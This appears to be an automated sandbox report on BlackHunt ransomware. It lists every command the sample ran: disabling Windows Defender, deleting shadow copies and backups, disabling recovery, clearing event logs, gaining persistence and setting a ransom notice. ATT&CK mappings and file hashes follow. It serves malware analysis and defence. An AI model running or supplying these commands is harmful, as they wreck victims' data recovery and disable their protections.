  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe"
  2⤵
  - Deletes itself
  PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3800

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:1420

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:1408

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1404

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:3032

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2800

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2956

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe" /F
1⤵
- Creates scheduled task(s)
PID:2672

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:1524

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1708

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2280

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1644

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2728

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:3020

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2552

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2308

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2084

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2276

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1572

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2880

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:1824

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1044

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2272

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1292

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1864

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1724

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2852

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1776

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:752

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:1360

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2156

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:2840

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2836

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:1504

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2572

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1292

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2008

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1420

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2548

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2115838639-1243578541992860435-8053835-1789000198-2004561933600775274-1848025228"
1⤵
PID:2736

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1896

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:2764

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:1548

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:3464

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:2280

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1172

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:1712

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:3180

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
1⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3616

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:3436

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2752

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:1616

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1236

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2892

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:3608

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:1432

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:3508

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3500

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3408

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "779348063-2082863857-468344106156140975941794509115559815651238579793-941937221"
1⤵
PID:2844

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-702663284759059183777562928-2027087397-1828393748881319432-1140467205-343369616"
1⤵
PID:1144

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:1472

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:3932

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
a831c3d775f7830698052dc701bce485

SHA1
ddd3a10cb982020ec8cd1ff1445c1c00778d31d2

SHA256
783c85efa803dc072896dcf13e84bcc0c87628e4fd6f5789ac67b4a24064e35e

SHA512
f707220cd97ec75f4abd7f255f0ad61e63471a7db064f3bd2496224b6d20496a05d70ed63e99f4c8ad12376a7b64dfd0be36ea2e81de309fa59739abd25bb369

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
0ef1d3dee379dda89ec5f55d88d476a3

SHA1
adcf97bd55fd41b4b5fde66b2bef60e1c5a17daf

SHA256
61154eb7de858f38a8d189eefa348046cac6502dd008e50b66d201c1390027ce

SHA512
10d9000a5da7a8fbc6c8ea5a44bfa01882736d45462f08ab5093250dd9845fb20e62fcce7a19a09789ac1a797dfd555c777c32d50792a64dc5fd79613716066e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
6b95ebb24defef67c3d550c4e3c688c5

SHA1
4d1ae0088fa6dd45fe7601b8c644db8c6b4f6688

SHA256
d6d50dc1e88c89c59513ce31263a819e47eaa29bf6512c01d83ea581c1e8033f

SHA512
1cd4ddfec6ab1ac1784a1043406f47ba5aa9f6398ada19d08a1162caad0a91fd7b862c122049b267f20062e831054f849b5ad41c596a044710183fcb3721c45e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads